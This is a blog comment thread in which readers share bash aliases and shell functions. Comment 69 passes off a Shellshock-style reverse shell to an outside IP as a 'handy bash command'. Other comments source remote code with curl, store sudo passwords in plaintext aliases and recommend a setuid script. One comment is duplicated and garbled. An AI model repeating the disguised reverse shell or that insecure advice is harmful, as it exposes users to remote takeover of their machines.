    ping $SN.254
    nmap -p 80 $SN.*

    This command which I just named ‘p’ will call ping and auto populate your current subnet. You’d call it like this to ping the router p 1

    #!/bin/bash
    [ “$#” -eq 1 ] || exit “1 argument required, $# provided”
    echo $1 | grep -E -q ‘^[0-9]+$’ || exit “Numeric argument required, $1 provided”
    export HOST=$1
    export SUBNET=`netstat -nr| grep -m 1 -iE ‘default|0.0.0.0’ | awk ‘{print $2}’`
    export IP=`echo $SUBNET | sed s/.[0-9]*$/.$HOST/`
    ping $IP

    Quickly reload your .bashrc or .bash_profile

    alias rl=’. ~/.bash_profile’

  36. Clear xterm buffer cache

    alias clearx="echo -e '/0033/0143'"
    

    Contrary to the clear command that only cleans the visible terminal area. AFAIK It’s not an universal solution but it worths a try.

    Edited by Admin as requested by OP.

  37. I have been using this concept for many years and still trying to perfect the methodology. My goals include minimal keystrokes and ease of use. I use double quotes in my alias defn even though single quote delimiters are the normal convention. I use ‘aa’ for “add alias.” It is always the first alias I create. Each job and each environ begin with ‘aa’ alias creation. My aliases have evolved into productized command line interfaces and have been adopted by many others over the years. http://www.iboa.us/iboaview.html

  38. Nowadays, git is so popular, we can not miss it
    These are my git aliases

    alias g=”git”
    alias gr=”git rm -rf”
    alias gs=”git status”
    alias ga=”g add”
    alias gc=”git commit -m”
    alias gp=”git push origin master”
    alias gl=”git pull origin master”

  39. alias sd=”echo michoser | sudo -S”

    alias ai=”sd apt-get –yes install”
    alias as=”apt-cache search”
    alias ar=”sd apt-get –yes remove”

    alias .p=”pushd .”
    alias p.=”popd”

  40. Regarding the cd aliases (#2), you can use the autocd bash option (run ‘shopt -s autocd’) to change directories without using cd. Then, you can just type ‘..’ to go up one directory, or ‘../..’ to go up 2 directories, or type the (relative) path of any directory to go to it. Another trick is to set the CDPATH environment variable. This will let you easily change to directories in a commonly used sub-directories such as your home directory. For example, if you set the CDPATH to ‘.:$HOME’ (run ‘export CDPATH=.:$HOME’), then run ‘cd Documents’ you will change directories to the Documents/ directory in your home directory, no matter what directory you are currently in (unless your current directory also has a documents/ directory in it).

  41. I don’t use aliases. As the bash man page says:

    “For almost every purpose, aliases are superseded by shell functions.”

    At the top of my .bashrc I have ‘unalias -a’ to get rid of any misguided aliases installed by /etc/profile.

    1. Interesting comment, Chris. I decided it would be an interesting experiment to try to take some of these alias ideas and convert them to functions. When I tried on the one called “fastping” I couldn’t seem to make it work. Ideas?

    2. Aliases are handy and quicker to set up than functions. I guess you could argue that if your fluent with `history` you don’t necessarily need aliases and aliases will not be available if your working on someone else’s box, but I think a combination makes perfect sense, their quick 🙂

      1. Who says you can’t use your own aliases when working on a box?

        . <(curl -sS domain.tld/scripts/.bashrc)

        1. This is completely brilliant – I am implementing it now.

          Also, I completely agree with whoever said aliasing rm is a very bad idea. I don’t think it’s a good idea to use any alias that can get you into trouble if the alias is not defined.

          Finally, I think it’s a very good idea not to define any alias that will hinder your recall of the command should you be in a situation where you don’t have access to the alias. A job interview being the most important scenario. You can only smugly answer questions with ‘no, I don’t know the options to that command, because I define an alias so I don’t have to remember’ so many times before they conclude you don’t know what you’re talking about.

          Rotty

  42. The aliases that I use the most (also a lot of shell functions):
    alias j=’jobs -l’
    alias h=’history’
    alias la=’ls -aF’
    alias lsrt=’ls -lrtF’
    alias lla=’ls -alF’
    alias ll=’ls -lF’
    alias ls=’ls -F’
    alias pu=pushd
    alias pd=popd
    alias r=’fc -e -‘ # typing ‘r’ ‘r’epeats the last command

  43. Useful alias. Thanks mates.

    I find the following useful too

    alias tf='tail -f '
    
    # grep in *.cpp files
    alias findcg='find . -iname "*.cpp" | xargs grep -ni --color=always '
    # grep in *.cpp files
    alias findhg='find . -iname "*.h" | xargs grep -ni --color=always '
    
    #finds that help me cleanup when hit the limits
    
    alias bigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( $1 > 5000) print $0 }'"
    alias verybigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( $1 > 500000) print $0 }'"
    
    #show only my procs
    alias psme='ps -ef | grep $USER --color=always '
    
  44. Very nice alias list.
    Here’s another very handy alias:

    alias psg='ps -ef | grep'

    ex: looking for all samb processes:

    psg mbd
    1. Try this one instead. It will remove the search from your results

      psg='ps aux | grep -v grep | grep -i -e VSZ -e'
  45. I did learn some new things. Thanks for that.

    Regarding:
    # Do not wait interval 1 second, go fast #
    alias fastping=’ping -c 100 -s.2′

    From reading the man page i gather the ‘-s’ should be ‘-i’ instead.

    ping(8):
    -s packetsize
    Specifies the number of data bytes to be sent.

    -i interval
    Wait interval seconds between sending each packet. The
    default is to wait for one second between each packet
    normally, or not to wait in flood mode. Only super-user
    may set interval to values less 0.2 seconds.

  46. Back Up [function, not alias] – Copy a file to the current directory with today’s date automatically appended to the end.

    bu() { cp $@ $@.backup-`date +%y%m%d`; }

    Add to .bashrc or .profile and type: “bu filename.txt”

    I made this a long time ago and use it daily. If you really want to stay on top of your backed up files, you can keep a log by adding something like:

    bu() { cp $@ $@.backup-`date +%y%m%d`; echo "`date +%Y-%m-%d` backed up $PWD/$@" >> ~/.backups.log; }

    I hope someone finds this helpful!

      1. Great idea! Will add this one to my aliases!

        Is there a specific reason to use $@ instead of $1?

        I also added quotes around the parameters, otherwise it won’t work with file names that include whitespace, I have it like this now:

        bu() { cp “$1” “$1”.backup-`date +%y%m%d`; }

    1. Brilliant. Thanks.
      I use this before I edit any config file I might need/want to change back later.
      I also added %H%M%S so I can save a copy each time without dupe file names.
      Thanks again.
      I suppose one could also include something like this in an alias for vi to automatically create a backup file before launching vi…hmmmm….

  47. I am learning to love simple functions in .bashrc

    mcd () {
    mkdir -p $1;
    cd $1
    }

    But the great aliases are in the cmd prompt under windoze:

    run doskey /macrofile=doskey.mac

    then set up a doskey,mac in root directory with the CORRECT commands

    ls=dir $* /o/w
    cat=type $*
    rm=del $*
    lsl=dir $* /o/p
    quit=exit

    yes, I have to work in the sludgepit, but I can fix the command set

  48. Since I work in a number of different distributions, I concatenated 17 and 18:

    case $(lsb_release -i | awk ‘{ print $3 }’) in
    Ubuntu|Debian)
    alias apt-get=”sudo apt-get”
    alias updatey=”sudo apt-get –yes”
    alias update=’sudo apt-get update && sudo apt-get upgrade’
    ;;
    CentOS|RedHatEnterpriseServer)
    alias update=’yum update’
    alias updatey=’yum -y update’
    ;;
    esac

    Of course you could add Fedora, Scientific Linux, etc, to the second one, but I don’t have either of those handy to get the output of lsb_release.

    1. lsb_release is not installed everywhere following code works better for me

      if cat /proc/version | grep -i -e ubuntu -e debian -e raspbian > /dev/null 2>&1 ; then
          alias update="sudo apt-get update && sudo apt-get upgrade";
      elif cat /proc/version | grep -i -e centos -e redhatenterpriseserver -e fedora > /dev/null 2>&1 ; then
          alias update="sudo yum update";
      fi
  49. I also have an function that does the same thing, and an alias for killing a process by pid. Then in my ps2 command I use ‘complete’ to add the pids to the completion list of my kill command so I can hit escape and it will fill in the rest. Better to show it than describe it:

    alias kk=’sudo kill’ # Expecting a pid
    pss() {
    [[ ! -n ${1} ]] && return; # bail if no argument
    pro=”[${1:0:1}]${1:1}”; # process-name –> [p]rocess-name (makes grep better)
    ps axo pid,command | grep -i ${pro}; # show matching processes
    pids=”$(ps axo pid,command | grep -i ${pro} | awk ‘{print $1}’)”; # get pids
    complete -W “${pids}” kk # make a completion list for kk
    }

    Now I can do (for example):

    zulu:/Users/frank $ pss ssh
    3661 /usr/bin/ssh-agent -l
    2845 ssh -Nf -L 15900:localhost:5900 homemachine@dyndns.org
    zulu:/Users/frank $ kk 2 (hit escape key to complete 2845)
    zulu:/Users/frank $

  50. Hey, very useful tips!
    here’s mine:

    chmoddr()   {
      # CHMOD _D_irectory _R_ecursivly
    
      if [ -d "$1" ]; then
       echo "error: please use the mode first, then the directory";
       return 1;
      elif [ -d "$2" ]; then
       find $2 -type d -print0 | xargs -0 chmod $1;
      fi
    }
    
    assimilate(){
      _assimilate_opts="";
    
      if [ "$#" -lt 1 ]; then   echo "not enough arguments";    return 1;  fi
      SSHSOCKET=~/.ssh/assimilate_socket.$1;
      echo "resistence is futile! $1 will be assimilated";
      if [ "$2" != "" ]; then
        _assimilate_opts=" -p$2 ";
      fi
    
      ssh -M -f -N $_assimilate_opts -o ControlPath=$SSHSOCKET $1;
      if [ ! -S $SSHSOCKET ]; then echo "connection to $1 failed! (no socket)"; return 1; fi
    
      ### begin assimilation
    
      # copy files
      scp -o ControlPath=$SSHSOCKET ~/.bashrc $1:~;
      scp -o ControlPath=$SSHSOCKET -r ~/.config/htop $1:~;
    
      # import ssh key
      if [[ -z $(ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "grep -f - ~/.ssh/authorized_keys") ]]; then
        ssh -o ControlPath=$SSHSOCKET $1 "mkdir ~/.ssh > /dev/null 2>&1";
        ssh-add -L > /dev/null&&ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "cat >> ~/.ssh/authorized_keys"
      fi
      ssh -o ControlPath=$SSHSOCKET $1 "chmod -R 700 ~/.ssh";
    
      ### END
      ssh -S $SSHSOCKET -O exit $1 2>1 >/dev/null;
    }
    
  51. Hey these are great guys. Thanks. Here are a few I started using recently ever since I discovered ‘watch’. I use for monitoring log tails and directory contents and sizes.

    alias watchtail=’watch -n .5 tail -n 20′
    alias watchdir=’watch -n .5 ls -la’
    alias watchsize=’watch -n .5 du -h –max-depth=1′

    1. I forgot that third one: I use for monitoring small directories ( < 100M ). This would choke on large directories. Just increase the watch interval if you need to watch larger directories. The default interval for watch is 2 seconds.

    2. tail has a ‘watch’-like option, though it doesn’t refresh the screen like watch

      tail -f -n 20 (though, really, the line number isn’t as necessary in tail -f as it is in watch)

  52. I have the same “ll” alias, I use constantly. Here are a few others:

    # grep all files in the current directory
    function _grin() { grep -rn --color $1 .;}
    alias grin=_grin
    # find file by name in current directory
    function _fn() { find . -name $1;}
    alias fn=_fn
  53. three letters to tune into my favorite radio stations

    alias dlf=”/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dlf.m3u|head -1)”
    
    alias dlr=”/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dkultur.m3u|head -1)”
    

    sometimes I swap my keyboards, then I use

    alias tastatur=”setxkbmap -model cherryblue -layout de -variant ,nodeadkeys”
    

    When using mplayer you may set bookmarks using ‘i’. You may read it easyer using

    mplay() {
    	export EDL=”$HOME/.mplayer/current.edl”
    	/usr/local/bin/mplayer -really-quiet -edlout $EDL $* ;
    	echo $(awk ‘{print $2 }’ $EDL | cut -d, -f1 | cut -d. -f1 )
    	}
    

    Buring ISO-images does not need starting GUIs and clicking around

    alias isowrite=”cdrecord dev=1,0,0 fs=32M driveropts=burnfree speed=120 gracetime=1 -v -dao -eject -pad -data
    

    Be aware the device must be adjusted. Not every default will fit for you to “isowrite /some/where/myimage.iso”.

  54. In 30 years of living at the *nix commandline I found that I really only need 2 aliases
    for my bash shell (used to be ksh, but that’s been a while)

      alias s=less        # use less a lot to see config files and logfiles
      alias lst='ls -ltr'   # most recently updated files last
    

    when checking for servers and tcp ports for a non root user these are also handy

      alias myps='ps -fHu $USER'     # if not $USER, try $LOGIN
      alias myports="netstat -lntp 2>/dev/null | grep -v ' - *$'"  # Linux only?
    
  55. I have an alias question. I routinely want to copy files from various locations to a standard location. I want to alias that standard location so I can type:
    alias mmm=”/standard/target/directory/”
    cp /various/file/source mmm
    but this doesn’t work: just creates a duplicate named mmm

    Is there a way to do this?
    tim

    1. Add mmm to $HOME/.bashrc as follows:

      export mmm="/standard/target/directory/"

      Logout and login again. Verify that $mmm is set:

      echo $mmm

      Now run the command:

      cp /various/file/source $mmm

      HTH

  56. I can never remember the right flags to pass when extracting a tarball, so I have this custom alias:

    alias untar='tar -zxvf'
  57. I use this “alias” — its really a function — to do a quick check of JSON files on the command line:

    function json() { cat “$@” | /usr/bin/python -m json.tool ;}

    usage: json file.json

    If all is well, it will print the JSON file to the screen. If there is an error in the file, the error is printed along with the offending line number.

    Works great for quickly testing JSON files!

  58. This is a great list most of my favorites have already been listed but this one hasn’t quite been included and i use more than any other, except maybe ‘lt’
    Thanks to James from comment #28 it now doesn’t include the command its self in the list!

    # grep command history.  Uses function so a bare 'gh' doesn't just hang waiting for input.
    function gh () {
      if [ -z "$1" ]; then
        echo "Bad usage. try:gh run_test";
      else
        history | egrep $* |grep -v "gh $*"
      fi
    }
    

    I also offer this modification to your #8

    alias h='history 100'     # give only recent history be default.

    other favorites of mine, all taken from elsewhere, are:

    alias wcl='wc -l'        # count # of lines
    alias perlrep='perl -i -p -e '               # use perl regex to do find/replace in place on files.  CAREFUL!!

    # list file/folder sizes sorted from largest to smallest with human readable sizes

    function dus () {
    du --max-depth=0 -k * | sort -nr | awk '{ if($1>=1024*1024) {size=$1/1024/1024; unit="G"} else if($1>=1024) {size=$1/1024; unit="M"} else {size=$1; unit="K"}; if(size<10) format="%.1f%s"; else format="%.0f%s"; res=sprintf(format,size,unit); printf "%-8s %sn",res,$2 }'
    1. You want sort -h and du -h

      du -h --max-depth=1 | sort -h

      Sample output :

      368K    ./MACONF
      452K    ./.gimp-2.8
      628K    ./.pip
      ...
      1.0M    ./.gstreamer-0.10
      2.6M    ./PROG
      3.3M    ./.adobe
      ...
      1.2G    ./BACKUPS
      1.5G    ./.local
      5.3G    ./TMP
      ...
      
  59. # Define a command to cd then print the resulting directory.
    # I do this to avoid putting the current directory in my prompt.
    alias cd=’cdir’
    function cdir ()
    {
    cd “$*”
    pwd
    }

  60. Lots of great suggestions here.

    I use so many aliases and functions that I needed one to search them.
    function ga() { alias | grep -i $*; functions | grep -i $*}

    This is not so nice with multiple line functions and could be improved with a clever regex.

  61. # Find a file from the current directory
    alias ff='find . -name '
    
    # grep the output of commands
    alias envg='env | grep -i'
    alias psg='ps -eaf | head -1; ps -eaf | grep -v " grep " | grep -i'
    alias aliasg='alias | grep -i'
    alias hg='history | grep -i'
    
    # cd to the directory a symbolically linked file is in.
    function cdl {
        if [ "x$1" = "x" ] ; then
            echo "Missing Arg"
        elif [ -L "$1" ] ; then
            link=`/bin/ls -l $1 | tr -s ' ' | cut -d' ' -f10`
            if [ "x$link" = "x" ] ; then
                echo "Failed to get link"
                return
            fi
            dirName_=`dirname $link`
            cd "$dirName_"
        else
            echo "$1 is not a symbolic link"
        fi
        return
    }
    # cd to the dir that a file is found in.
    function cdff {
        filename=`find . -name $1 | grep -iv "Permission Denied" | head -1`
        if [ "xx${filename}xx" != "xxxx" ] ; then
            dirname=${filename%/*}
            if [ -d $dirname ] ; then
                cd $dirname
            fi
        fi
    }
    
  62. export EDITOR=vim
    export PAGER=less
    set -o vi
    eval `resize`
    
    # awk tab delim  (escape '' awk to disable aliased awk)
    tawk='awk -F "t" '
    # case insensitive grep
    alias ig="grep --color -i "
    
    
    # ls sort by time
    alias lt="ls -ltr "
    # ls sort by byte size
    alias lS='ls -Slr'
    
    # ps by process grep  (ie. psg chrome)
    alias psg='ps -ef|grep --color '
    # ps by user
    alias psu='ps auxwwf '
    # ps by user with grep (ie. psug budman)
    alias psug='psu|grep --color '
    
    # find broken symlinks
    alias brokenlinks='find . -xtype l -printf "%p -> %ln"'
    
    
    # which and less a script (ie. ww backup.ksh)
    function ww { if [[ ! -z $1 ]];then _f=$(which $1);echo $_f;less $_f;fi }
    
    # use your own vim cfg (useful when logging in as other id's)
    alias vim="vim -u /home/budman/.vimrc"
    
  63. For those of you who use Autosys:

    # alias to read log files based on current run date (great for batch autosys jobs)
    # ie.  slog mars-reconcile-job-c
    export RUN_DIR=~/process/dates
    function getRunDate {
        print -n $(awk -F'"' '/^run_date=/{print $2}' ~/etc/run_profile)
    }
    function getLogFile {
        print -n $RUN_DIR/$(getRunDate)/log/$1.log
    }
    function showLogFile {
        export LOGFILE=$(getLogFile $1);
        print "nLog File: $LOGFILEn";
        less -z-4 $LOGFILE;
    }
    alias slog="showLogFile "
    
    
    # Autosys alaises
    alias av="autorep -w -J "
    alias av0="autorep -w -L0 -J "
    alias avq="autorep -w -q -J "
    alias aq0="autorep -w -L0 -q -J "
    alias ava="autorep -w -D PRD_AUTOSYS_A -J "
    alias avc="autorep -w -D PRD_AUTOSYS_C -J "
    alias avt="autorep -w -D PRD_AUTOSYS_T -J "
    alias am="autorep -w -M "
    alias ad="autorep -w -d -J "
    alias jd="job_depends -w -c -J "
    alias jdd="job_depends -w -d -J "
    alias jrh="jobrunhist -J "
    alias fsjob="sendevent -P 1 -E FORCE_STARTJOB -J "
    alias startjob="sendevent -P 1 -E FORCE_STARTJOB -J "
    alias runjob="sendevent -P 1 -E STARTJOB -J "
    alias killjob="sendevent -P 1 -E KILLJOB -J "
    alias termjob="sendevent -P 1 -E KILLJOB -K 15 -J "
    alias onhold="sendevent -P 1 -E JOB_ON_HOLD -J "
    alias onice="sendevent -P 1 -E JOB_ON_ICE -J "
    alias offhold="sendevent -P 1 -E JOB_OFF_HOLD -J "
    alias office="sendevent -P 1 -E JOB_OFF_ICE -J "
    alias setsuccess="sendevent -P 1 -E CHANGE_STATUS -s SUCCESS -J "
    alias inactive="sendevent -P 1 -E CHANGE_STATUS -s INACTIVE -J "
    alias setterm="sendevent -P 1 -E CHANGE_STATUS -s TERMINATED -J "
    alias failed="njilgrep -npi -s FA $AUTOSYS_JOB_PREFIX"
    alias running="njilgrep -npi -s RU $AUTOSYS_JOB_PREFIX"
    alias iced="njilgrep -npi -s OI $AUTOSYS_JOB_PREFIX"
    alias held="njilgrep -npi -s OH $AUTOSYS_JOB_PREFIX"
    
  64. heres a few i use

    alias killme='slay $USER'
    
    function gi(){
    npm install --save-dev grunt-"$@"
    }
    
    function gci(){
    npm install --save-dev grunt-contrib-"$@"
    }
    
  65. alias v='vim'
    alias vi='vim'
    alias e='emacs'
    alias t='tail -n200'
    alias h='head -n20'
    alias g='git'
    alias p='pushd'
    alias o='popd'
    alias d='dirs -v'
    alias rmf='rm -rf'
    
    # ls working colorful on all OS'es
    #linux
    if [[ `uname` == Linux ]]; then
        export LS1='--color=always'
    #mac
    elif [[ `uname` == Darwin* ]]; then
        export LS1='-G'
    #win/cygwin/other
    else
        export LS1='--color=auto'
    fi
    export LS2='-hF --time-style=long-iso'
    alias l='ls $LS1 $LS2 -AB'
    
  66. Here is one to do a update and upgrade with no user input. Just insert your sudo
    password for yourpassword

    alias udug=’echo yourpassword | sudo -S apt-get update && sudo apt-get upgrade -y’

      1. I am the only one who uses this computer. My daughter, granddaughter, daughter’s
        boyfriend and my four dogs all use Windoz. They have no idea what a alias or a terminal is.

        1. It is far better to put the commands into a setuid shell script, then you don’t have to EVER put your password into plaintext anywhere on UNIX / Linux:

          echo "sudo -S apt-get update && sudo apt-get upgrade -y" > /tmp/udug ; sudo mv /tmp/udug /usr/bin/udug
          sudo chmod 755 /usr/bin/udug
          sudo chmod u+s /usr/bin/udug

    1. If you want to run apt-get without having to supply a sudo password, just edit the sudo config file to allow that. (Replace “jfb” in this example with your own login).

      jfb ALL=(root) NOPASSWD: /usr/bin/apt-get

      Hint: edit the config file with “sudo visudo”, not “sudo vim /etc/sudoers”. Visudo will check that you haven’t totally screwed up the config file before writing it out.

  67. Hey, Just wanted to add my 5 cents.

    I use this to make me think before rebooting/shutting down hosts;

    alias reboot=’echo “Are you sure you want to reboot host `hostname` [y/N]?” && read reboot_answer && if [ “$reboot_answer” == y ]; then /sbin/reboot; fi’

    alias shutdown=’echo “Are you sure you want to shutdown host `hostname` [y/N]?” && read shutdown_answer && if [ “$shutdown_answer” == y ]; then /sbin/shutdown -h now; fi’

  68. #2: Control cd command behavior

    ## get rid of command not found ##
    alias cd..=’cd ..’

    ## a quick way to get out of current directory ##
    alias ..=’cd ..’
    alias …=’cd ../../../’
    alias ….=’cd ../../../../’
    alias …..=’cd ../../../../’ <– typo, I think you meant to add an extra level of ../ to this!
    alias .4='cd ../../../../'
    alias .5='cd ../../../../..'

  69. There’s another handy bash command I’ve come by recently in the past days.

    () { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/123.456.789.012/3333 0>&1
  70. Here are a couple that I have to make installing software on Ubuntu easier:

    alias sdfind='~/bin/sdfind.sh'
    alias sdinst='sudo apt-get install'
  71. Great list and comments. A minor nit, the nowtime alias has a typo that makes it not work. It needs a closing double quote.

  72. # Find all IP addresses connected to your network

    alias netcheck='nmap -sP $(ip -o addr show | grep inet  | grep eth | cut -d  -f 7)'
  73. # See real time stamp when running dmesg

    alias dmesg='dmesg|perl -ne "BEGIN{$a= time()- qx:cat /proc/uptime:};s/[s*(d+).d+]/localtime($1 + $a)/e; print $_;" | sed -e "s|(^.*"`date +%Y`" )(.*)|x1b[0;34m1x1b[0m - 2|g"'
  74. You know, instead of doing something silly like aliasing clear to c, you can just do ^L (control + L) instead…

  75. # Need to figure out which drive your usb is assigned? Functions work the same way as an alias. Simply copy the line into your .profile/.bashrc file. Then type: myusb

    myusb () { usb_array=();while read -r -d $'n'; do usb_array+=("$REPLY"); done < <(find /dev/disk/by-path/ -type l -iname *usb*scsi* -not -iname *usb*scsi*part* -print0 | xargs -0 -iD readlink -f D | cut -c 8) && for usb in "${usb_array[@]}"; do echo "USB drive assigned to sd$usb"; done; }
    
  76. And if you have zsh, you may want to give oh-my-zsh a try. It has a repo full of aliases.

    Even if you do not have zsh you may still want to check it out as it has really nice aliases which are compatible with bash.

  77. It’s a little bit dangerous to re-alias existing commands. Once I had trouble finding out why my shell script did not work. It was the coloured output of grep. So I changed my alias:

    alias gr=”grep -E -i –color”

    And remember the man page:
    “For almost every purpose, aliases are superseded by shell functions.”

    1. I think if you use –color=auto, then the colors will only be applied when the output is a tty. However, I do agree that it’s a very bad idea to rename commands with aliases; it is much better to create your own command names such as ‘cgrep’ , ‘cfgrep’, ‘cegrep’, etc.

  78. Sometimes when working with text files this is quite helpful:

    alias top10=”sort|uniq -c|sort -n -r|head -n 10″

  79. # better ls
    alias ls='ls -lAi --group-directories-first --color='always''
    
    # make basic commands interactive and verbose
    alias cp='cp -iv'      # interactive
    alias rm='rm -ri'      # interactive
    alias mv='mv -iv'       # interactive, verbose
    alias grep='grep -i --color='always''  # ignore case
    
    # starts nano with line number enabled
    alias nano='nano -c'
    
    # clear screen
    alias cl='clear'
    
    # shows the path variable
    alias path='echo -e ${PATH//:/\n}'
    
    # Filesystem diskspace usage
    alias dus='df -h'
    
    # quick ssh to raspberry pi
    alias raspi='ssh root@192.168.1.6'
    
    # perform 'ls' after 'rm' if successful.
    rmls() {
      rm "$*"
      RESULT=$?
      if [ "$RESULT" -eq 0 ]; then
        ls
      fi
    }
    
    alias rm='rmls'
    
    # reloads changes
    alias rfc='source ~/.bashrc; cl'
    alias rf='source ~/.bashrc'
    
    # perform 'ls' after 'cd' if successful.
    cdls() {
      builtin cd "$*"
      RESULT=$?
      if [ "$RESULT" -eq 0 ]; then
        ls
      fi
    }
    
    alias cd='cdls'
    
    # quick cd back option
    alias ..='cd ..'
    
    # search for a string recursively in any C source files
    alias src-grep='find . -name "*.[ch]" | xargs grep '
    
    # for easily editting the path variable
    nanopath ()
    {
        declare TFILE=/tmp/path.$LOGNAME.$$;
        echo $PATH | sed 's/^:/.:/;s/:$/:./' | sed 's/::/:.:/g' | tr ':' '12' > $TFILE;
        nano $TFILE;
        PATH=`awk ' { if (NR>1) printf ":"
          printf "%s",$1 }' $TFILE`;
        rm -f $TFILE;
        echo $PATH
    }
    
    alias nanopath='nanopath'
    
  80. in my experiance it is esasier to put the scripts you want to use aliases for in your .bash_aliases file. like so

    ~/nano .bash_aliases
    rmls() {
      rm "$*"
      RESULT=$?
      if [ "$RESULT" -eq 0 ]; then
        ls
      fi
    }
    

    here is a function. and to make an alias for it is as simple as:

    alias name=’functionName args’

    so for my example function it would be
    alias rm=’rmls’

  81. Great list! There are certainly some I going to use!
    I also have some that maybe are so obvious nobody even finds it worth mentioning…

    But since I'm a lazy beast:
    alias getupdates='sudo apt-get update && sudo apt-get upgrade'
    alias backupstuff='rsync -avhpr --delete-delay /some/location/foo/bar /media/your/remote/location'
    alias enter_some_user='ssh -p 9999 someuser@127.0.0.1'
    
  82. #To play a random collection of music from your music library.
    #(You need to have VLC installed)
    alias play='nvlc /media/myklmar/MUSIC/mymusic/ -Z'

  83. Thanks.
    Will the aliases appear using the “top” command?
    How would like to see the alias name rather than the command name of the process. Is that possible?
    Cheers.

  84. One of my favorite: copy something from command line to clipboard:
    alias c='xsel --clipboard'
    Then use like:
    grep John file_for_contacts | c
    now, john’s contact info is copied to the clipboard, etc.

  85. # Count the number of files in current dir
    alias lsc='ls -l | wc -l'
     
    # Sort directories by sizes
    alias dush='du -h --max-depth=1 | sort -h'
     
    # Can't see all the files in one page ?
    alias lsless='ls | less'
     
    # Make a video capture of the desktop
    alias capturedesktop='avconv -f x11grab -r 25 -s 1900x1000 -i :0.0+0,24 -vcodec libx264  -threads 0'
     
    # Capture desktop, with sound
    alias capturedesktop_withsound='avconv -f x11grab -r 25 -s 1900x1000 -i :0.0+0,24 -vcodec libx264  -threads 0 -f alsa -i hw:0 '
     
    # pastebin from the command line, use it like this :
    # somecommand | some pipe work | pastebin
    alias pastebin='curl -F "clbin=&lt;-&quot; &quot;https://clbin.com&quot;&#039;
     
    # Only print actual code/configuration
    alias removeblanks=&quot;egrep -v &#039;(^[[:space:]]*#|^$|^[[:space:]]*//)&#039;&quot;
     
    # Useful when you want to scp to your own machine from a remote server
    alias myip=&#039;ifdata -pa eth1&#039;

    Some useful functions too

    # Count the number of files in current dir
    alias lsc='ls -l | wc -l'
     
    # Sort directories by sizes
    alias dush='du -h --max-depth=1 | sort -h'
     
    # Can't see all the files in one page ?
    alias lsless='ls | less'
     
    # Make a video capture of the desktop
    alias capturedesktop='avconv -f x11grab -r 25 -s 1900x1000 -i :0.0+0,24 -vcodec libx264  -threads 0'
     
    # Capture desktop, with sound
    alias capturedesktop_withsound='avconv -f x11grab -r 25 -s 1900x1000 -i :0.0+0,24 -vcodec libx264  -threads 0 -f alsa -i hw:0 '
     
    # pastebin from the command line, use it like this :
    # somecommand | some pipe work | pastebin
    alias pastebin='curl -F "clbin=&lt;-&quot; &quot;https://clbin.com&quot;&#039;
     
    # Only print actual code/configuration
    alias removeblanks=&quot;egrep -v &#039;(^[[:space:]]*#|^$|^[[:space:]]*//)&#039;&quot;
     
    # Useful when you want to scp to your own machine from a remote server
    alias myip=&#039;ifdata -pa eth1&#039;
  86. List files in order of ascending size (the second form takes a file-pattern argument):

    function lsdu() { ls -l $* | sort --key=5.1 -n; };
    function lsduf() { ls -l | egrep $* | sort --key=5.1 -n; };

    List the 10 most recently edited/changed files (m = more, a poor-man’s more)

    alias lsm='ls -lt | head -n 10'

    List the tasks using the most CPU time

    alias hogs='ps uxga | sort --key=4.1 -n'

    1. Sorry, typos and some new ones

      alias hogs='ps uxga | sort --key=3.1 -n'
      alias sdiff='sdiff -w 240'
      function pyloc() { egrep -v '^[ ]*(#|$dollar)' $* | wc; }; # count lines (python, sh)
      function loc() { egrep -v '^[ ]*(//|/*|*|$dollar)' $* | wc; }; # count lines (c, c++)

  87. Is there any option to enable confirmation for the rm -rf . We had an alias setup for rm=rm -i so whenever we delete a file it asks for confirmation but when -f flag is supplied it will not asks for confirmation.

    So can you anyone please help to create function so that it ask confirmation for rm (Or rm -r) command with force flag that is for rm -f and rm -rf commands?

  88. To access a servers:
    alias barney='ssh -i ~/.ssh/private.key debian@192.168.1.1'

    To replace all “:” of the name of the files in the folder that is running. It serves to synchronize with Dropbox in Windows. Screenshot 2017-01-01 01:02:03 -> Screenshot 2017-01-01 01 02 03:
    alias renombrar="rename 'y/ :/ /' *"

  89. Great list!
    I also have some that maybe are somebody finds interesting

     alias ab='docker run --rm piegsaj/ab'
     alias php='docker run --rm -it -v "$PWD":/opt -w /opt php php'
     alias java='docker run --rm -it -v "$PWD":/opt -w /opt java java'
     alias node='docker run --rm -it -v "$PWD":/opt -w /opt node node'
     alias ruby='docker run --rm -it -v "$PWD":/opt -w /opt ruby ruby'
     alias python='docker run --rm -it -v "$PWD":/opt -w /opt python python'
     alias htop='docker run --rm -it --pid host tehbilly/htop'
     alias mysql='docker run --rm -it imega/mysql-client mysql'
    

    Have a question? Post it on our forum!